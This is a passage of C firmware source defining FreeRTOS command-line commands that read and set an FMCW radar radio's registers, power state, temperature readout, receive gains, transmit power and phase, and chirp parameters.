/* radio power on command*/
static BaseType_t radioPowerOnCommand(char *pcWriteBuffer, size_t xWriteBufferLen, const char *pcCommandString);
/* radio power off command*/
static BaseType_t radioPowerOffCommand(char *pcWriteBuffer, size_t xWriteBufferLen, const char *pcCommandString);
/* radio temperature command */
static BaseType_t radioTempCommand(char *pcWriteBuffer, size_t xWriteBufferLen, const char *pcCommandString);
/* radio saturation detection command */
static BaseType_t radioSaturationCommand(char *pcWriteBuffer, size_t xWriteBufferLen, const char *pcCommandString);
/* radio rx gain command */
static BaseType_t radioRxGainCommand(char *pcWriteBuffer, size_t xWriteBufferLen, const char *pcCommandString);
/* radio radio tx power command */
static BaseType_t radioTxPowerCommand(char *pcWriteBuffer, size_t xWriteBufferLen, const char *pcCommandString);
/* radio tx phase command */
static BaseType_t radioTxPhaseCommand(char *pcWriteBuffer, size_t xWriteBufferLen, const char *pcCommandString);
/* radio fmcw command */
static BaseType_t radioFmcwCommand(char *pcWriteBuffer, size_t xWriteBufferLen, const char *pcCommandString);
/* radio pll command */
static BaseType_t radioPllCommand(char *pcWriteBuffer, size_t xWriteBufferLen, const char *pcCommandString);
/* radio vctrl output */
static BaseType_t radioVctrlCommand(char *pcWriteBuffer, size_t xWriteBufferLen, const char *pcCommandString);
/* radio IF signal output */
static BaseType_t radioIfoutCommand(char *pcWriteBuffer, size_t xWriteBufferLen, const char *pcCommandString);
/* radio TX */
static BaseType_t radioTxCommand(char *pcWriteBuffer, size_t xWriteBufferLen, const char *pcCommandString);
/* radio single tone mode */
static BaseType_t radioSingleToneCommand(char *pcWriteBuffer, size_t xWriteBufferLen, const char *pcCommandString);
/* radio Highpass Filer */
static BaseType_t radioHpfCommand(char *pcWriteBuffer, size_t xWriteBufferLen, const char *pcCommandString);
/* radio HP Auto */
static BaseType_t radioHpaCommand(char *pcWriteBuffer, size_t xWriteBufferLen, const char *pcCommandString);
/* radio TX Auto */
static BaseType_t radioAutoTXCommand(char *pcWriteBuffer, size_t xWriteBufferLen, const char *pcCommandString);
/* radio AUXADC1 Voltage */
static BaseType_t radioAUXADC1VoltageCommand(char *pcWriteBuffer, size_t xWriteBufferLen, const char *pcCommandString);
/* radio AUXADC2 Voltage */
static BaseType_t radioAUXADC2VoltageCommand(char *pcWriteBuffer, size_t xWriteBufferLen, const char *pcCommandString);
/* radio rf compensation code */
static BaseType_t radioRFCompCodeCommand(char *pcWriteBuffer, size_t xWriteBufferLen, const char *pcCommandString);
/* helpers */
static void print_help(char* buffer, size_t buff_len, const CLI_Command_Definition_t* cmd)
{
uint32_t tot_count = 0;
int32_t count = sprintf(buffer, "Wrong input\n\r %s", cmd->pcHelpString);
EMBARC_ASSERT(count > 0);
tot_count += count;
EMBARC_ASSERT(tot_count < buff_len);
}
/* radio register command ****************************************************/
/*
* command : radio_reg
* parameter : <address(hex)> - read value of radio register address
* <address(hex)> <data(hex)> - write value to radio register address
*
* example : radio_reg 12 - read address 0x12 value of current bank
* radio_reg 10 55 - write 0x55 to address 0x10 of current bank
*
* note : this command doesn't have parameter of bank, if you need to change
* bank, please use 'radio_reg 00 xx' to change to xx bank.
*
*/
static const CLI_Command_Definition_t xRadioReg = {
"radio_reg", /* The command string to type. */
"\r\nradio_reg \r\n"
"\t <address(hex)> - read value of radio register address\r\n"
"\t <address(hex)> <data(hex)> - write value to radio register address\r\n",
radioRegCommand, /* The function to run. */
-1 /* Up to 2 commands. */
};
static BaseType_t radioRegCommand(char *pcWriteBuffer,
size_t xWriteBufferLen, const char *pcCommandString){
const char *pcParameter1, *pcParameter2;
BaseType_t xParameter1StringLength, xParameter2StringLength;
unsigned int regAddr, regValue;
volatile char reg_read_value;
/* clean write buffer */
memset( pcWriteBuffer, 0x00, xWriteBufferLen );
/* obtain the parameter. */
pcParameter1 = FreeRTOS_CLIGetParameter(pcCommandString, 1, &xParameter1StringLength);
pcParameter2 = FreeRTOS_CLIGetParameter(pcCommandString, 2, &xParameter2StringLength);
if(pcParameter1 != NULL && pcParameter2 != NULL){
/* two parameters: write register */
regAddr = (unsigned int) strtol(pcParameter1, NULL, 0);
regValue = (unsigned int) strtol(pcParameter2, NULL, 0);
fmcw_radio_reg_write(NULL, regAddr, regValue);
readBackLen = sprintf(readBack, "\r\nset radio register: address - %3d (0x%02X)",
regAddr, regAddr);
strncat(pcWriteBuffer, readBack, readBackLen);
readBackLen = sprintf(readBack, " value - %3d (0x%02X)\r\n",
regValue, regValue);
strncat(pcWriteBuffer, readBack, readBackLen);
} else if(pcParameter1 != NULL && pcParameter2 == NULL) {
/* one parameters: read register */
regAddr = (unsigned int) strtol(pcParameter1, NULL, 0);
reg_read_value = fmcw_radio_reg_read(NULL, regAddr);
readBackLen = sprintf(readBack, "\r\nread radio register: address - %3d (0x%02X)",
regAddr, regAddr);
strncat(pcWriteBuffer, readBack, readBackLen);
readBackLen = sprintf(readBack, " value - %3d (0x%02X)\r\n",
reg_read_value, reg_read_value);
strncat(pcWriteBuffer, readBack, readBackLen);
} else {
/* no parameter: error */
readBackLen = sprintf(readBack, "\r\none or two parameter is needed! \r\n");
strncat(pcWriteBuffer, readBack, readBackLen);
}
/* display info */
readBackLen = sprintf(readBack, "\r\nradio_reg done\r\n");
strncat(pcWriteBuffer, readBack, readBackLen);
/* return */
/* There is only a single line of output produced in all cases. pdFALSE is
returned because there is no more output to be generated. */
return pdFALSE;
}
/* dump all registers of radio ***********************************************/
/*
* command : radio_regdump
* parameter : <NA> - dump all registers of radio.
*
*/
static const CLI_Command_Definition_t xRadioRegDump = {
"radio_regdump" , /* The command string to type. */
"\r\nradio_regdump:\r\n"
"\t <NA> - dump all registers of radio\r\n",
radioRegDumpCommand, /* The function to run. */
0 /* No parameters are expected. */
};
static BaseType_t radioRegDumpCommand(char *pcWriteBuffer,
size_t xWriteBufferLen, const char *pcCommandString){
/* clean write buffer */
memset( pcWriteBuffer, 0x00, xWriteBufferLen );
fmcw_radio_reg_dump(NULL);
/* display info */
sprintf(pcWriteBuffer, "\r\n radio register dumping done \r\n");
/* return */
return pdFALSE;
}
/* radio power on ************************************************************/
/*
* command : radio_poweron
* parameter : <idx> - all radio module power on
*
*/
static const CLI_Command_Definition_t xRadioPowerOn = {
"radio_poweron" , /* The command string to type. */
"\r\nradio_poweron\r\n"
"\t <idx> - all radio module power on\r\n",
radioPowerOnCommand, /* The function to run. */
-1 /* Up to 1 commands. */
};
static BaseType_t radioPowerOnCommand(char *pcWriteBuffer,
size_t xWriteBufferLen, const char *pcCommandString){
BaseType_t len1 = 0;
uint32_t indx = 0;
const char *param1 = FreeRTOS_CLIGetParameter(pcCommandString, 1, &len1);
indx = (uint32_t)strtol(param1, NULL, 0);
/* clean write buffer */
memset( pcWriteBuffer, 0x00, xWriteBufferLen );
baseband_t* bb_ptr = baseband_get_bb(indx);
/* FIXME: one need to pass true pointer instead of NULL */
/* Fixed */
fmcw_radio_power_on(&bb_ptr->radio);
/* display info */
sprintf(pcWriteBuffer, "\r\n radio power on! \r\n");
/* return */
return pdFALSE;
}
/* radio power off ************************************************************/
/*
* command : radio_poweroff
* parameter : <idx> - radio module PMU current off
*
*/
static const CLI_Command_Definition_t xRadioPowerOff = {
"radio_poweroff" , /* The command string to type. */
"\r\nradio_poweroff\r\n"
"\t <idx> - radio module PMU current off\r\n",
radioPowerOffCommand, /* The function to run. */
-1 /* Up to 1 commands. */
};
static BaseType_t radioPowerOffCommand(char *pcWriteBuffer,
size_t xWriteBufferLen, const char *pcCommandString){
BaseType_t len1 = 0;
uint32_t indx = 0;
const char *param1 = FreeRTOS_CLIGetParameter(pcCommandString, 1, &len1);
indx = (uint32_t)strtol(param1, NULL, 0);
/* clean write buffer */
memset( pcWriteBuffer, 0x00, xWriteBufferLen );
baseband_t* bb_ptr = baseband_get_bb(indx);
fmcw_radio_power_off(&bb_ptr->radio);
/* display info */
sprintf(pcWriteBuffer, "\r\n radio power off! \r\n");
/* return */
return pdFALSE;
}
/* radio temperature *********************************************************/
/*
* command : radio_temp
* parameter : <NA> - get temperature of radio
*
*/
static const CLI_Command_Definition_t xRadioTemp = {
"radio_temp" , /* The command string to type. */
"\r\nradio_temp\r\n"
"\t <NA> - get temperature of radio\r\n",
radioTempCommand, /* The function to run. */
0 /* No parameters are expected. */
};
static BaseType_t radioTempCommand(char *pcWriteBuffer,
size_t xWriteBufferLen, const char *pcCommandString){
float temperature = 0;
/* clean write buffer */
memset( pcWriteBuffer, 0x00, xWriteBufferLen );
temperature = fmcw_radio_get_temperature(NULL);
/* display info */
sprintf(pcWriteBuffer, "\r\n radio temperature: %.2f \r\n", temperature);
/* return */
return pdFALSE;
}
/* radio saturation detection ***********************************************/
/*
* command : radio_saturation
* parameter : <NA> - get saturation detector status
*
*/
static const CLI_Command_Definition_t xRadioSaturation = {
"radio_saturation" , /* The command string to type. */
"\r\nradio_saturation\r\n"
"\t <NA> - get saturation detector status\r\n",
radioSaturationCommand, /* The function to run. */
0 /* No parameters are expected. */
};
static BaseType_t radioSaturationCommand(char *pcWriteBuffer,
size_t xWriteBufferLen, const char *pcCommandString){
/* clean write buffer */
memset( pcWriteBuffer, 0x00, xWriteBufferLen );
/* FIXME: add saturation function */
/* display info */
sprintf(pcWriteBuffer, "\r\n radio saturation status \r\n");
/* return */
return pdFALSE;
}
/* radio rx gain *************************************************************/
/*
* command : radio_rxgain
* parameter : <NA> - get tia, vga1 and vga2 gain of all channel
* <tia/vga1/vga2> <gain_index> - set gain_index to tia, vga1 or gva2 to all channel
* <tia/vga1/vga2> <ch_index> <gain_index> - set gain_index to tia, vga1 or gva2 to channel index
*
* note : tia gain index - 1(133ohms) / 2(250ohms) / 3(500ohms) / 4(1kohms) / 5(2kohms)
* vga1 gain index - 1(6.0dB) / 2(10.5dB) / 3(15.0dB) / 4(19.5dB) / 5(24.0dB) / 6(28.5dB)
* vga2 gain index - 1(9.0dB) / 2(13.5dB) / 3(18.0dB) / 4(21.5dB) / 5(27.0dB) / 6(31.5dB)
* channel index - 0 / 1 / 2 / 3
*
*/
static const CLI_Command_Definition_t xRadioRxGain = {
"radio_rxgain", /* The command string to type. */
"\r\nradio_rxgain \r\n"
"\t <NA> - get tia, vga1 and vga2 gain of all channel\r\n"
"\t <tia/vga1/vga2> <gain_index> - set gain_index to tia, vga1 or gva2 to all channel\r\n"
"\t <tia/vga1/vga2> <ch_index> <gain_index> - set gain_index to tia, vga1 or gva2 to channel index\r\n"
"\t note:\r\n"
"\t tia gain index - 1(133ohms) / 2(250ohms) / 3(500ohms) / 4(1kohms) / 5(2kohms)\r\n"
"\t vga1 gain index - 1(6.0dB) / 2(10.5dB) / 3(15.0dB) / 4(19.5dB) / 5(24.0dB) / 6(28.5dB)\r\n"
"\t vga2 gain index - 1(9.0dB) / 2(13.5dB) / 3(18.0dB) / 4(21.5dB) / 5(27.0dB) / 6(31.5dB)\r\n"
"\t channel index - 0 / 1 / 2 / 3\r\n",
radioRxGainCommand, /* The function to run. */
-1 /* Up to 3 commands. */
};
static BaseType_t radioRxGainCommand(char *pcWriteBuffer,
size_t xWriteBufferLen, const char *pcCommandString){
const char *pcParameter1, *pcParameter2, *pcParameter3;
BaseType_t xParameter1StringLength, xParameter2StringLength, xParameter3StringLength;
unsigned int channel, gain;
char rx_param[4];
/* clean write buffer */
memset( pcWriteBuffer, 0x00, xWriteBufferLen );
/* obtain the parameter. */
pcParameter1 = FreeRTOS_CLIGetParameter(pcCommandString, 1, &xParameter1StringLength);
pcParameter2 = FreeRTOS_CLIGetParameter(pcCommandString, 2, &xParameter2StringLength);
pcParameter3 = FreeRTOS_CLIGetParameter(pcCommandString, 3, &xParameter3StringLength);
if(pcParameter1 != NULL && pcParameter2 != NULL && pcParameter3 != NULL){
/* three parameters: write rx gain for indicated channel */
strncpy ( rx_param, pcParameter1, xParameter1StringLength);
channel = (unsigned int)strtol(pcParameter2, NULL, 10);
gain = (unsigned int)strtol(pcParameter3, NULL, 10);
if(strncmp(rx_param, "tia", 3) == 0) {
switch (gain){
case 1:
fmcw_radio_set_tia_gain(NULL, channel, 0xf);
readBackLen = sprintf(readBack, "\r\n set channel %d tia 133ohms\r\n",
channel);
strncat(pcWriteBuffer, readBack, readBackLen);
break;
case 2:
fmcw_radio_set_tia_gain(NULL, channel, 0x1);
readBackLen = sprintf(readBack, "\r\n set channel %d tia 250ohms\r\n",
channel);
strncat(pcWriteBuffer, readBack, readBackLen);
break;
case 3:
fmcw_radio_set_tia_gain(NULL, channel, 0x2);
readBackLen = sprintf(readBack, "\r\n set channel %d tia 500ohms\r\n",
channel);
strncat(pcWriteBuffer, readBack, readBackLen);
break;
case 4:
fmcw_radio_set_tia_gain(NULL, channel, 0x4);
readBackLen = sprintf(readBack, "\r\n set channel %d tia 1000ohms\r\n",
channel);
strncat(pcWriteBuffer, readBack, readBackLen);
break;
case 5:
fmcw_radio_set_tia_gain(NULL, channel, 0x8);
readBackLen = sprintf(readBack, "\r\n set channel %d tia 2000ohms\r\n",
channel);
strncat(pcWriteBuffer, readBack, readBackLen);
break;
default:
break;
}
} else if(strncmp(rx_param, "vga1", 4) == 0) {
fmcw_radio_set_vga1_gain(NULL, channel, gain);
readBackLen = sprintf(readBack, "\r\n set channel %d vga1 %d\r\n",
channel, gain);
strncat(pcWriteBuffer, readBack, readBackLen);
} else if(strncmp(rx_param, "vga2", 4) == 0) {
fmcw_radio_set_vga2_gain(NULL, channel, gain);
readBackLen = sprintf(readBack, "\r\n set channel %d vga2 %d\r\n",
channel, gain);
strncat(pcWriteBuffer, readBack, readBackLen);
} else {
readBackLen = sprintf(readBack, "\r\n 3 parameters error\r\n");
strncat(pcWriteBuffer, readBack, readBackLen);
}
} else if(pcParameter1 != NULL && pcParameter2 != NULL && pcParameter3 == NULL){
/* two parameters: write rx gain for all channel */
strncpy ( rx_param, pcParameter1, xParameter1StringLength);
gain = (unsigned int)strtol(pcParameter2, NULL, 10);
if(strncmp(rx_param, "tia", 3) == 0) {
switch (gain){
case 1:
fmcw_radio_set_tia_gain(NULL, -1, 0xf);
readBackLen = sprintf(readBack, "\r\n set tia 133ohms to all channel\r\n");
strncat(pcWriteBuffer, readBack, readBackLen);
break;
case 2:
fmcw_radio_set_tia_gain(NULL, -1, 0x1);
readBackLen = sprintf(readBack, "\r\n set tia 250ohms to all channel\r\n");
strncat(pcWriteBuffer, readBack, readBackLen);
break;
case 3:
fmcw_radio_set_tia_gain(NULL, -1, 0x2);
readBackLen = sprintf(readBack, "\r\n set tia 500ohms to all channel\r\n");
strncat(pcWriteBuffer, readBack, readBackLen);
break;
case 4:
fmcw_radio_set_tia_gain(NULL, -1, 0x3);
readBackLen = sprintf(readBack, "\r\n set tia 1000ohms to all channel\r\n");
strncat(pcWriteBuffer, readBack, readBackLen);
break;
case 5:
fmcw_radio_set_tia_gain(NULL, -1, 0x4);
readBackLen = sprintf(readBack, "\r\n set tia 2000ohms to all channel\r\n");
strncat(pcWriteBuffer, readBack, readBackLen);
break;
default:
readBackLen = sprintf(readBack, "\r\n gain index error \r\n");
strncat(pcWriteBuffer, readBack, readBackLen);
break;
}
} else if(strncmp(rx_param, "vga1", 4) == 0) {
fmcw_radio_set_vga1_gain(NULL, -1, gain);
readBackLen = sprintf(readBack, "\r\n set vga1 %d to all channel\r\n",
gain);
strncat(pcWriteBuffer, readBack, readBackLen);
} else if(strncmp(rx_param, "vga2", 4) == 0) {
fmcw_radio_set_vga2_gain(NULL, -1, gain);
readBackLen = sprintf(readBack, "\r\n set vga2 %d to all channel\r\n",
gain);
strncat(pcWriteBuffer, readBack, readBackLen);
} else {
readBackLen = sprintf(readBack, "\r\n 2 parameter error\r\n");
strncat(pcWriteBuffer, readBack, readBackLen);
}
} else if(pcParameter1 == NULL && pcParameter2 == NULL && pcParameter3 == NULL) {
/* no parameter: read register */
/* print tia */
readBackLen = sprintf(readBack, "\r\n get rx gain tia ");
strncat(pcWriteBuffer, readBack, readBackLen);
for (channel = 0; channel < MAX_NUM_RX; channel++){
gain = fmcw_radio_get_tia_gain(NULL, channel);
switch (gain){
case 0xf:
readBackLen = sprintf(readBack, "CH%d-133ohms ", channel);
strncat(pcWriteBuffer, readBack, readBackLen);
break;
case 0x1:
readBackLen = sprintf(readBack, "CH%d-250ohms ", channel);
strncat(pcWriteBuffer, readBack, readBackLen);
break;
case 0x2:
readBackLen = sprintf(readBack, "CH%d-500ohms ", channel);
strncat(pcWriteBuffer, readBack, readBackLen);
break;
case 0x3:
readBackLen = sprintf(readBack, "CH%d-1000ohms ", channel);
strncat(pcWriteBuffer, readBack, readBackLen);
break;
default:
readBackLen = sprintf(readBack, "CH%d-%d ", channel, gain);
strncat(pcWriteBuffer, readBack, readBackLen);
break;
}
}
readBackLen = sprintf(readBack, "\r\n");
strncat(pcWriteBuffer, readBack, readBackLen);
/* print vga1 */
readBackLen = sprintf(readBack, "\r\n get rx gain vga1 ");
strncat(pcWriteBuffer, readBack, readBackLen);
for (channel = 0; channel < MAX_NUM_RX; channel++){
gain = fmcw_radio_get_vga1_gain(NULL, channel);
readBackLen = sprintf(readBack, "CH%d-%-8d ", channel, gain);
strncat(pcWriteBuffer, readBack, readBackLen);
}
readBackLen = sprintf(readBack, "\r\n");
strncat(pcWriteBuffer, readBack, readBackLen);
/* print vga2 */
readBackLen = sprintf(readBack, "\r\n get rx gain vga2 ");
strncat(pcWriteBuffer, readBack, readBackLen);
for (channel = 0; channel < MAX_NUM_RX; channel++){
gain = fmcw_radio_get_vga2_gain(NULL, channel);
readBackLen = sprintf(readBack, "CH%d-%-8d ", channel, gain);
strncat(pcWriteBuffer, readBack, readBackLen);
}
readBackLen = sprintf(readBack, "\r\n");
strncat(pcWriteBuffer, readBack, readBackLen);
} else {
/* error */
readBackLen = sprintf(readBack, "\r\n parameter error\r\n");
strncat(pcWriteBuffer, readBack, readBackLen);
}
/* display info */
readBackLen = sprintf(readBack, "\r\nradio_rxgain done\r\n");
strncat(pcWriteBuffer, readBack, readBackLen);
/* return */
/* There is only a single line of output produced in all cases. pdFALSE is
returned because there is no more output to be generated. */
return pdFALSE;
}
/* radio tx power ************************************************************/
/*
* command : radio_txpower
* parameter : <NA> - get tx power of all channel
* <power_index> - set power index to all channel
* <ch_index> <power_index> - set power index to channel index
*
* note : power index - 1(default) / 2(max)
* channel index - 0 / 1 / 2 / 3
*
*/
static const CLI_Command_Definition_t xRadioTxPower = {
"radio_txpower", /* The command string to type. */
"\r\nradio_txpower \r\n"
"\t <NA> - get tx power of all channel\r\n"
"\t <power_index> - set power index to all channel\r\n"
"\t <ch_index> <power_index> - set power index to channel index\r\n"
"\t note:\r\n"
"\t power index - 1(default) / 2(max)\r\n"
"\t channel index - 0 / 1 / 2 / 3\r\n",
radioTxPowerCommand, /* The function to run. */
-1 /* Up to 2 commands. */
};
static BaseType_t radioTxPowerCommand(char *pcWriteBuffer,
size_t xWriteBufferLen, const char *pcCommandString){
const char *pcParameter1, *pcParameter2;
BaseType_t xParameter1StringLength, xParameter2StringLength;
unsigned int channel, power;
/* clean write buffer */
memset( pcWriteBuffer, 0x00, xWriteBufferLen );
/* obtain the parameter. */
pcParameter1 = FreeRTOS_CLIGetParameter(pcCommandString, 1, &xParameter1StringLength);
pcParameter2 = FreeRTOS_CLIGetParameter(pcCommandString, 2, &xParameter2StringLength);
if(pcParameter1 != NULL && pcParameter2 != NULL){
/* two parameters: set tx power to indicated channel */
channel = (unsigned int)strtol(pcParameter1, NULL, 10);
power = (unsigned int)strtol(pcParameter2, NULL, 10);
switch (power){
case 1:
fmcw_radio_set_tx_power(NULL, channel, 0xaa);
readBackLen = sprintf(readBack, "\r\n set channel %d default power \r\n",
channel);
strncat(pcWriteBuffer, readBack, readBackLen);
break;
case 2:
fmcw_radio_set_tx_power(NULL, channel, 0xff);
readBackLen = sprintf(readBack, "\r\n set channel %d max power \r\n",
channel);
strncat(pcWriteBuffer, readBack, readBackLen);
break;
default:
readBackLen = sprintf(readBack, "\r\n power index error \r\n");
strncat(pcWriteBuffer, readBack, readBackLen);
break;
}
} else if(pcParameter1 != NULL && pcParameter2 == NULL) {
/* one parameters: set tx power to all channel */
power = (unsigned int)strtol(pcParameter1, NULL, 10);
switch (power){
case 1:
fmcw_radio_set_tx_power(NULL, -1, 0xaa);
readBackLen = sprintf(readBack, "\r\n set default power to all channel \r\n");
strncat(pcWriteBuffer, readBack, readBackLen);
break;
case 2:
fmcw_radio_set_tx_power(NULL, -1, 0xff);
readBackLen = sprintf(readBack, "\r\n set max power to all channel \r\n");
strncat(pcWriteBuffer, readBack, readBackLen);
break;
default:
readBackLen = sprintf(readBack, "\r\n power index error \r\n");
strncat(pcWriteBuffer, readBack, readBackLen);
break;
}
} else {
/* no parameter: error */
readBackLen = sprintf(readBack, "\r\n get tx power ");
strncat(pcWriteBuffer, readBack, readBackLen);
for (channel = 0; channel < MAX_NUM_TX; channel++){
power = fmcw_radio_get_tx_power(NULL, channel);
switch (power){
case 0xaa:
readBackLen = sprintf(readBack, "CH%d-default ", channel);
strncat(pcWriteBuffer, readBack, readBackLen);
break;
case 0xff:
readBackLen = sprintf(readBack, "CH%d-max ", channel);
strncat(pcWriteBuffer, readBack, readBackLen);
break;
default:
readBackLen = sprintf(readBack, "CH%d-%2x ", channel, power);
strncat(pcWriteBuffer, readBack, readBackLen);
break;
}
}
readBackLen = sprintf(readBack, "\r\n");
strncat(pcWriteBuffer, readBack, readBackLen);
}
/* display info */
readBackLen = sprintf(readBack, "\r\nradio_txpower done\r\n");
strncat(pcWriteBuffer, readBack, readBackLen);
/* return */
/* There is only a single line of output produced in all cases. pdFALSE is
returned because there is no more output to be generated. */
return pdFALSE;
}
/* radio tx phase ************************************************************/
/*
* command : radio_txphase
* parameter : <NA> - get phase of all channel
* <phase_index> - set phase index to all channel
* <ch_index> <phase_index> - set phase index to channel index
*
* note : phase index - 0 / 45 / 90 / 135 / 180 / 225 / 270 / 315
* channel index - 0 / 1 / 2 / 3
*
*/
static const CLI_Command_Definition_t xRadioTxPhase = {
"radio_txphase", /* The command string to type. */
"\r\nradio_txphase \r\n"
"\t <NA> - get phase of all channel\r\n"
"\t <phase_index> - set phase index to all channel\r\n"
"\t <ch_index> <phase_index> - set phase index to channel index\r\n"
"\t note:\r\n"
"\t phase index - 0 / 22 / 45 / 67 / 90 / 112 / 135 / 157 / 180 / 202 / 225 / 247 / 270 / 292 / 315 / 337 \r\n",
radioTxPhaseCommand, /* The function to run. */
-1 /* Up to commands. */
};
static BaseType_t radioTxPhaseCommand(char *pcWriteBuffer,
size_t xWriteBufferLen, const char *pcCommandString){
const char *pcParameter1, *pcParameter2;
BaseType_t xParameter1StringLength, xParameter2StringLength;
unsigned int channel, phase, reg_val;
/* clean write buffer */
memset( pcWriteBuffer, 0x00, xWriteBufferLen );
/* obtain the parameter. */
pcParameter1 = FreeRTOS_CLIGetParameter(pcCommandString, 1, &xParameter1StringLength);
pcParameter2 = FreeRTOS_CLIGetParameter(pcCommandString, 2, &xParameter2StringLength);
if (pcParameter1 != NULL && pcParameter2 != NULL) {
/* two parameters: set tx phase to indicated channel */
channel = (unsigned int)strtol(pcParameter1, NULL, 10);
phase = (unsigned int)strtol(pcParameter2, NULL, 10);
reg_val = phase_val_2_reg_val(phase);
if (reg_val) {
fmcw_radio_set_tx_phase(NULL, channel, reg_val);
readBackLen = sprintf(readBack, "\r\n set channel %d phase %d\r\n",channel, phase);
strncat(pcWriteBuffer, readBack, readBackLen);
} else {
readBackLen = sprintf(readBack, "\r\n phase index error \r\n");
strncat(pcWriteBuffer, readBack, readBackLen);
}
} else if(pcParameter1 != NULL && pcParameter2 == NULL) {
/* one parameters: set tx phase to all channel */
phase = (unsigned int)strtol(pcParameter1, NULL, 10);
reg_val = phase_val_2_reg_val(phase);
if (reg_val) {
fmcw_radio_set_tx_phase(NULL, -1, reg_val);
readBackLen = sprintf(readBack, "\r\n set phase %d to all channel\r\n", phase);
strncat(pcWriteBuffer, readBack, readBackLen);
} else {
readBackLen = sprintf(readBack, "\r\n phase index error \r\n");
strncat(pcWriteBuffer, readBack, readBackLen);
}
} else {
/* no parameter: get tx phase */
/* FIXME: fmcw_radio_get_tx_phase(fmcw_radio_t *radio,
int32_t channel_index, char phase_index) */
readBackLen = sprintf(readBack, "\r\n get tx phase code ");
strncat(pcWriteBuffer, readBack, readBackLen);
for (channel = 0; channel < MAX_NUM_TX; channel++){
reg_val = fmcw_radio_get_tx_phase(NULL, channel);
phase = reg_val_2_phase_val(reg_val);
if (phase <= 360) {
readBackLen = sprintf(readBack, "CH%d:%ddeg(0x%04x) ", channel, phase, reg_val);
} else {
readBackLen = sprintf(readBack, "CH%d:phase configure error! ", channel);
}
strncat(pcWriteBuffer, readBack, readBackLen);
}
readBackLen = sprintf(readBack, "\r\n");
strncat(pcWriteBuffer, readBack, readBackLen);
}
/* display info */
readBackLen = sprintf(readBack, "\r\nradio_txphase done\r\n");
strncat(pcWriteBuffer, readBack, readBackLen);
/* return */
/* There is only a single line of output produced in all cases. pdFALSE is
returned because there is no more output to be generated. */
return pdFALSE;
}
/* radio fmcw ****************************************************************/
/*
* command : radio_fmcw
* parameter : <NA> - get all fmcw parameters
* <mode> <value> - set fmcw mode
* <startf> <value> - set fmcw start frequency (MHz)
* <bandwidthf> <value> - set fmcw bandwidth (MHz)
* <chirpup> <value> - set ramp up time (us)
* <chirpdown> <value> - set ramp down time (us)
* <chirpidle> <value> - set idle time (us)
* <start> - fmcw start
* <stop> - fmcw stop
*
* note : mode value - predefine / fsk / hopping
*
*/
static const CLI_Command_Definition_t xRadioFmcw = {
"radio_fmcw", /* The command string to type. */
"\r\nradio_fmcw \r\n"
"\t <NA> - get all fmcw parameters\r\n"
"\t <mode> <value>\r\n"
"\t <startf> <value(MHz)>\r\n"
"\t <bandwidthf> <value(MHz)>\r\n"
"\t <chirpup> <value(us)>\r\n"
"\t <chirpdown> <value(us)>\r\n"
"\t <chirpidle> <value(us)>\r\n"
"\t <start> - fmcw start\r\n"
"\t <stop> - fmcw stop\r\n",
radioFmcwCommand, /* The function to run. */
-1 /* Up to commands. */
};
static BaseType_t radioFmcwCommand(char *pcWriteBuffer,
size_t xWriteBufferLen, const char *pcCommandString){
const char *pcParameter1, *pcParameter2;
BaseType_t xParameter1StringLength, xParameter2StringLength;
unsigned int fmcw_value;
char fmcw_param[10];
char mode_param[10];
int para_match = 0;
sensor_config_t *cfg = sensor_config_get_config(0);
baseband_t *bb = baseband_get_bb(0);
fmcw_radio_t* radio = &bb->radio;
/* clean write buffer */
memset( pcWriteBuffer, 0x00, xWriteBufferLen );
/* obtain the parameter. */
pcParameter1 = FreeRTOS_CLIGetParameter(pcCommandString, 1, &xParameter1StringLength);
pcParameter2 = FreeRTOS_CLIGetParameter(pcCommandString, 2, &xParameter2StringLength);
if(pcParameter1 != NULL && pcParameter2 != NULL){
/* two parameters: set fmcw parameters */
strncpy ( fmcw_param, pcParameter1, xParameter1StringLength);
if(strncmp(fmcw_param, "mode", sizeof("mode") - 1) == 0) {
strncpy ( mode_param, pcParameter2, xParameter2StringLength);
para_match = 1;
}
if(strncmp(fmcw_param, "startf", sizeof("startf") - 1) == 0) {
fmcw_value = (unsigned int)strtol(pcParameter2, NULL, 10);
cfg->fmcw_startfreq = fmcw_value * 1e-3;
readBackLen = sprintf(readBack, "\r\n set fmcw startf %.2f GHz\r\n",
fmcw_value * 1e-3);
strncat(pcWriteBuffer, readBack, readBackLen);
para_match = 1;
}
if(strncmp(fmcw_param, "bandwidthf", sizeof("bandwidthf") - 1) == 0) {
fmcw_value = (unsigned int)strtol(pcParameter2, NULL, 10);
cfg->fmcw_bandwidth = fmcw_value;
readBackLen = sprintf(readBack, "\r\n set fmcw bandwidthf %d\r\n",
fmcw_value);
strncat(pcWriteBuffer, readBack, readBackLen);
para_match = 1;
}
if(strncmp(fmcw_param, "chirpup", sizeof("chirpup") - 1) == 0) {
fmcw_value = (unsigned int)strtol(pcParameter2, NULL, 10);
cfg->fmcw_chirp_rampup = fmcw_value;
readBackLen = sprintf(readBack, "\r\n set fmcw chirpup %d\r\n",
fmcw_value);
strncat(pcWriteBuffer, readBack, readBackLen);
para_match = 1;
}
if(strncmp(fmcw_param, "chirpdown", sizeof("chirpdown") - 1) == 0) {
fmcw_value = (unsigned int)strtol(pcParameter2, NULL, 10);
cfg->fmcw_chirp_down = fmcw_value;
readBackLen = sprintf(readBack, "\r\n set fmcw chirpdown %d\r\n",
fmcw_value);
strncat(pcWriteBuffer, readBack, readBackLen);
para_match = 1;
}
if(strncmp(fmcw_param, "chirp_period", sizeof("chirp_period") - 1) == 0) {
fmcw_value = (unsigned int)strtol(pcParameter2, NULL, 10);
cfg->fmcw_chirp_period = fmcw_value;
readBackLen = sprintf(readBack, "\r\n set fmcw chirpidle %d\r\n",
fmcw_value);
strncat(pcWriteBuffer, readBack, readBackLen);
para_match = 1;
}
if (para_match == 0){
readBackLen = sprintf(readBack, "\r\n fmcw 2 parameters error\r\n");
strncat(pcWriteBuffer, readBack, readBackLen);
}
} else if(pcParameter1 != NULL && pcParameter2 == NULL) {
/* one parameters: fmcw run / stop */
strncpy ( fmcw_param, pcParameter1, xParameter1StringLength);
if(strncmp(fmcw_param, "start", sizeof("start") - 1) == 0) {
fmcw_radio_start_fmcw(&bb->radio);
readBackLen = sprintf(readBack, "\r\n set fmcw start\r\n");
strncat(pcWriteBuffer, readBack, readBackLen);
} else if(strncmp(fmcw_param, "stop", sizeof("stop") - 1) == 0) {
fmcw_radio_stop_fmcw(&bb->radio);
readBackLen = sprintf(readBack, "\r\n set fmcw stop\r\n");
strncat(pcWriteBuffer, readBack, readBackLen);
} else {
readBackLen = sprintf(readBack, "\r\n fmcw 1 parameter error\r\n");
